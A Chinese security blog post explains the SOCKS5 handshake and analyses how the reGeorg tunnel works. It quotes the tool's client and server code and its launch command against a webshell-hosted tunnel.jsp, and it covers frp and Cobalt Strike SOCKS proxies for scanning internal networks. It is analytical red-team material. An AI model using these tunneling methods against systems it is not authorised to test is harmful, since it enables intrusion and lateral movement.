Socks協議以及代理轉發工具分析

九~月發表於2021-06-07

前言:最近兩場HW都和某師傅學到了挺多東西,算是對內網不出網以及流量代理做個分析(SOCKS協議,reGeorg原理分析,frp的代理,CS上的代理

SOCKS

SOCKS(Socks:Protocol for sessions traversal across firewall securely)防火牆安全會話轉換協議

SOCKS是一種網路傳輸協議,主要用於客戶端和外網伺服器之間通訊的中間傳輸。SOCKS是“socket secure”的縮寫

當防火牆後的客戶端要訪問外部的伺服器時,就跟SOCKS代理伺服器連線。這個代理伺服器控制著客戶端訪問外網的資格,允許的話,就將客戶端的請求發往外部的伺服器。

image

Socks協議定位非常清楚,工作於會話層,就是在防火牆伺服器上,提供一種對於TCP會話的轉發,允許使用者可以透明的穿透防火牆的阻攔。這種協議優勢在於,它完全獨立於應用層的協議,可以用於telent,http,ftp。且可以在TCP會話開始之前,完成許可權的檢查,之後只需要做往復的轉發即可;常用的防火牆,或代理軟體都支援SOCKS

新的協議 SOCKS v5 在 SOCKSV4基礎上作了進一步擴充套件,從而可以支援 UDP ,並對其框架規定作了擴充套件,以支援安全認證方案。同時它還採用地址解析方案 (addressing scheme) 以支援域名和 IPV6 地址解析
(example:域環境下有DUDU.org.com,Socks5協議就可以支援對地址解析的代理)

現在普遍使用的 SOCKSv5,協議變複雜了很多。首先,因為有強力的驗證,而且支援多種驗證方法,就有了一個協商驗證方法的過程,然後,進行身份驗證,最後再進行通訊指令

通訊流程:

  • 客戶端連線上代理伺服器之後需要傳送請求告知伺服器目前的socks協議版本以及支援的認證方式
  • 代理伺服器收到請求後根據其設定的認證方式返回給客戶端
  • 如果代理伺服器不需要認證,客戶端將直接向代理伺服器發起真實請求
  • 代理伺服器收到該請求之後連線客戶端請求的目標伺服器
  • 代理伺服器開始轉發客戶端與目標伺服器之間的流量
    image

加密過程:
image
image

 雖然HTTP代理有不同的使用模式,CONNECT方法允許轉發TCP連線;然而,socks代理還可以轉發UDP流量和反向代理,
 而HTTP代理不能。HTTP代理更適合HTTP協議,執行更高層次的過濾;socks不管應用層是什麼協議,只要是傳輸層是
 TCP/UDP協議就可以代理------------此協議的強大之處

reGeorg簡單分析

一般主要用於伺服器已GetShell,想橫向但是因為防火牆ACL給你卡死,只允許HTTP進出,無法埠轉發
之前HW好幾個目標系統都是其他伺服器不出網情況,只能搭建reGeorg等工具進行隧道搭建,訪問內網其他伺服器

Github上關於reGeorg的簡介
The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
image
使用起來也簡單,用蟻劍,哥斯拉,冰蠍,天蠍等拿到shell工具傳個伺服器對應的tnuuel.XXX
然後CMD下:
$ python reGeorgSocksProxy.py -p 8080 -u http://DUDU.com/tunnel/tunnel.jsp

image
然後就可以對內網進行探測,掃描

整體流程圖:
image

1.繫結本地的8080埠,起一個SockerServer服務。用來接收本地轉發的流量
 servSock = socket(AF_INET, SOCK_STREAM)
 servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
 servSock.bind((args.listen_on, args.listen_port))
 servSock.listen(1000)
 while True:
	 try:
		 sock, addr_info = servSock.accept()
		 sock.settimeout(SOCKTIMEOUT)
		 log.debug("Incomming connection")
		 session(sock, args.url).start()
	 except KeyboardInterrupt, ex:
		 break
	 except Exception, e:
2.用Proxifier將流量代理到本地的8080埠
3.一旦有流量進入後,判斷是socks的哪個版本
ver = sock.recv(1)
	   if ver == "\x05":
		   return self.parseSocks5(sock)
	   elif ver == "\x04":
		   return self.parseSocks4(sock)
獲取請求的target + ip
log.debug("SocksVersion5 detected")
	  nmethods, methods = (sock.recv(1), sock.recv(1))
	  sock.sendall(VER + METHOD)
	  ver = sock.recv(1)
	  if ver == "\x02":  # this is a hack for proxychains
		  ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
	  else:
		  cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
	  target = None
	  targetPort = None
	  if atyp == "\x01":  # IPv4
		  # Reading 6 bytes for the IP and Port
		  target = sock.recv(4)
		  targetPort = sock.recv(2)
		  target = "." .join([str(ord(i)) for i in target])
	  targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1])
	  if cmd == "\x02":  # BIND
		  raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
	  elif cmd == "\x03":  # UDP
		  raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
	  elif cmd == "\x01":  # CONNECT
		  serverIp = target
		  try:
			  serverIp = gethostbyname(target)
		  except:
			  log.error("oeps")
		  serverIp = "".join([chr(int(i)) for i in serverIp.split(".")])
4.傳送http請求到服務端的指令碼,識別符號是CONNECT。附帶的引數是tagetIP+Port
如果請求成功,會生成的sessionID儲存下來(很重要用來儲存整個服務端和Target的Socket會話狀態)
headers = {"X-CMD": "CONNECT", "X-TARGET": target, "X-PORT": port}
	   self.target = target
	   self.port = port
	   cookie = None
	   conn = self.httpScheme(host=self.httpHost, port=self.httpPort)
	   # response = conn.request("POST", self.httpPath, params, headers)
	   response = conn.urlopen('POST', self.connectString + "?cmd=connect&target=%s&port=%d" % (target, port), headers=headers, body="")
	   if response.status == 200:
		   status = response.getheader("x-status")
		   if status == "OK":
			   cookie = response.getheader("set-cookie")
			   log.info("[%s:%d] HTTP [200]: cookie [%s]" % (self.target, self.port, cookie))
		   else:
			   if response.getheader("X-ERROR") is not None:
				   log.error(response.getheader("X-ERROR"))
5.Tunel伺服器與Target建立Socket連線
if (cmd.compareTo("CONNECT") == 0) {
			try {
				String target = request.getHeader("X-TARGET");
				int port = Integer.parseInt(request.getHeader("X-PORT"));
				SocketChannel socketChannel = SocketChannel.open();
				socketChannel.connect(new InetSocketAddress(target, port));
				socketChannel.configureBlocking(false);
				session.setAttribute("socket", socketChannel);
				response.setHeader("X-STATUS", "OK");
			}
6.傳送http請求到服務端的指令碼,識別符號是READ
headers = {"X-CMD": "READ", "Cookie": self.cookie, "Connection": "Keep-Alive"}
				response = conn.urlopen('POST', self.connectString + "?cmd=read", headers=headers, body="")
				data = None
				if response.status == 200:
					status = response.getheader("x-status")
					if status == "OK":
						if response.getheader("set-cookie") is not None:
							cookie = response.getheader("set-cookie")
						data = response.data
						# Yes I know this is horrible, but its a quick fix to issues with tomcat 5.x bugs that have been reported, will find a propper fix laters
						try:
							if response.getheader("server").find("Apache-Coyote/1.1") > 0:
								data = data[:len(data) - 1]
						except:
							pass
						if data is None:
							data = ""
					else:
						data = None
						log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("X-ERROR")))
				else:
					log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
				if data is None:
					# Remote socket closed
					break
				if len(data) == 0:
					sleep(0.1)
					continue
				transferLog.info("[%s:%d] <<<< [%d]" % (self.target, self.port, len(data)))
				self.pSocket.send(data)
7.Tunel伺服器得到Client客戶端傳送的讀取指令後,讀取socket資料
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
		  try {            
			  ByteBuffer buf = ByteBuffer.allocate(512);
			  int bytesRead = socketChannel.read(buf);

		  }
8.把讀到的資料,以二進位制流的形式用response寫給client
ServletOutputStream so = response.getOutputStream();
				while (bytesRead > 0){
					so.write(buf.array(),0,bytesRead);
					so.flush();
					buf.clear();
					bytesRead = socketChannel.read(buf);
				}
Client接收到資料,把響應資料send給相應的程式
pSocket.send(data)
9.經進行socketServer接受到資料進行解析,取出具體的data
比如我要訪問內網的oa.com/admin.do系統,大概會生成如下data
StringBuffer temp = new StringBuffer();
	   temp.append("GET http://oa.com:8080/admin.do HTTP/1.1\r\n");
	   temp.append("Host: oa.com:8080\r\n");
	   temp.append("Connection: keep-alive\r\n");
	   temp.append("Cache-Control: max-age=0\r\n");
	   temp
			   .append("User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11\r\n");
	   temp
			   .append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n");
	   temp.append("Accept-Encoding: gzip,deflate,sdch\r\n");
	   temp.append("Accept-Language: zh-CN,zh;q=0.8\r\n");
	   temp.append("Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3\r\n");
	   temp.append("\r\n");
	   request = temp.toString().getBytes();
10.然後會把解析好的data放到http的data裡,並將識別符號設定成FORWARD。傳送給Tunel伺服器
self.pSocket.settimeout(1)
			   data = self.pSocket.recv(READBUFSIZE)
			   if not data:
				   break
			   print("FORWARD---------")
			   headers = {"X-CMD": "FORWARD", "Cookie": self.cookie, "Content-Type": "application/octet-stream", "Connection": "Keep-Alive"}
			   response = conn.urlopen('POST', self.connectString + "?cmd=forward", headers=headers, body=data)
			   if response.status == 200:
				   status = response.getheader("x-status")
				   if status == "OK":
					   if response.getheader("set-cookie") is not None:
						   self.cookie = response.getheader("set-cookie")
				   else:
					   log.error("[%s:%d] HTTP [%d]: Status: [%s]: Message [%s] Shutting down" % (self.target, self.port, response.status, status, response.getheader("x-error")))
					   break
			   else:
				   log.error("[%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status))
				   break
			   transferLog.info("[%s:%d] >>>> [%d]" % (self.target, self.port, len(data)))
11.Tunel伺服器接收到資料後,得到識別符號FORWARD後,從request獲取到二進位制資料流。write給前面建立好的SocketChannel
else if (cmd.compareTo("FORWARD") == 0){
			SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
			try {

				int readlen = request.getContentLength();
				byte[] buff = new byte[readlen];
				request.getInputStream().read(buff, 0, readlen);
				ByteBuffer buf = ByteBuffer.allocate(readlen);
				buf.clear();
				buf.put(buff);
				buf.flip();
				while(buf.hasRemaining()) {
					socketChannel.write(buf);
				}
				response.setHeader("X-STATUS", "OK");
				//response.getOutputStream().close();

			}

流程:
主要是本地起了一個socks代理伺服器,而後PC不斷的和tunnel sever進行HTTP的互動驗證完socks4或者是socks5後,會呼叫函式解析獲取到的目標ip以及埠,而後向自己上傳在伺服器上的tunnel.jsp傳送一個connect請求,請求成功後會儲存Socket會話(session ID儲存),後續通過迴圈判斷是否有傳遞的內容,通過socket連線向目標機器傳送請求內容,且不斷從與目標機器建立的socket連線中獲取資料,存在就寫入readbuff變數。接著傳送forword請求,將真實的資料傳送給tunnel,然後tunnel獲到post資料轉發到socket連線中,傳送給目標機器,然後將目標機器返回的資料存放$_SESSION['readbuf']中,等待下一次read請求來獲取內容;

frp搭建代理隧道的話,也用到了Socks代理協議去連線frps

image

CS上的socks4隧道

後滲透神奇CobaltStrike上也自帶了Socks4代理,只需要簡單的設定埠號,然後本地設定個全域性代理,一鍵梭哈
(之前一直和老師傅用的frp搭建隧道,後來發現CS內建的也很穩定,只不過是socks4罷了)
image
image
然後全域性代理軟體設定埠,設定協議。先去檢測一下連通性
image
最需要注意的點就是內網ip段,因為在被控sever上ipconfig的內網ip不一定是全部,有可能10,172,192三個段都會存在存活主機(血的教訓)
image
為了更仔細一點掃描,還是拿fscan,Ladon等掃描更多的段,說不定柳暗花明又一村
image

參考文章:
http://screwsec.com/2020/06/05/reGeorg原理分析/#詳細細節
https://sexywp.com/socks-protocol.htm

相關文章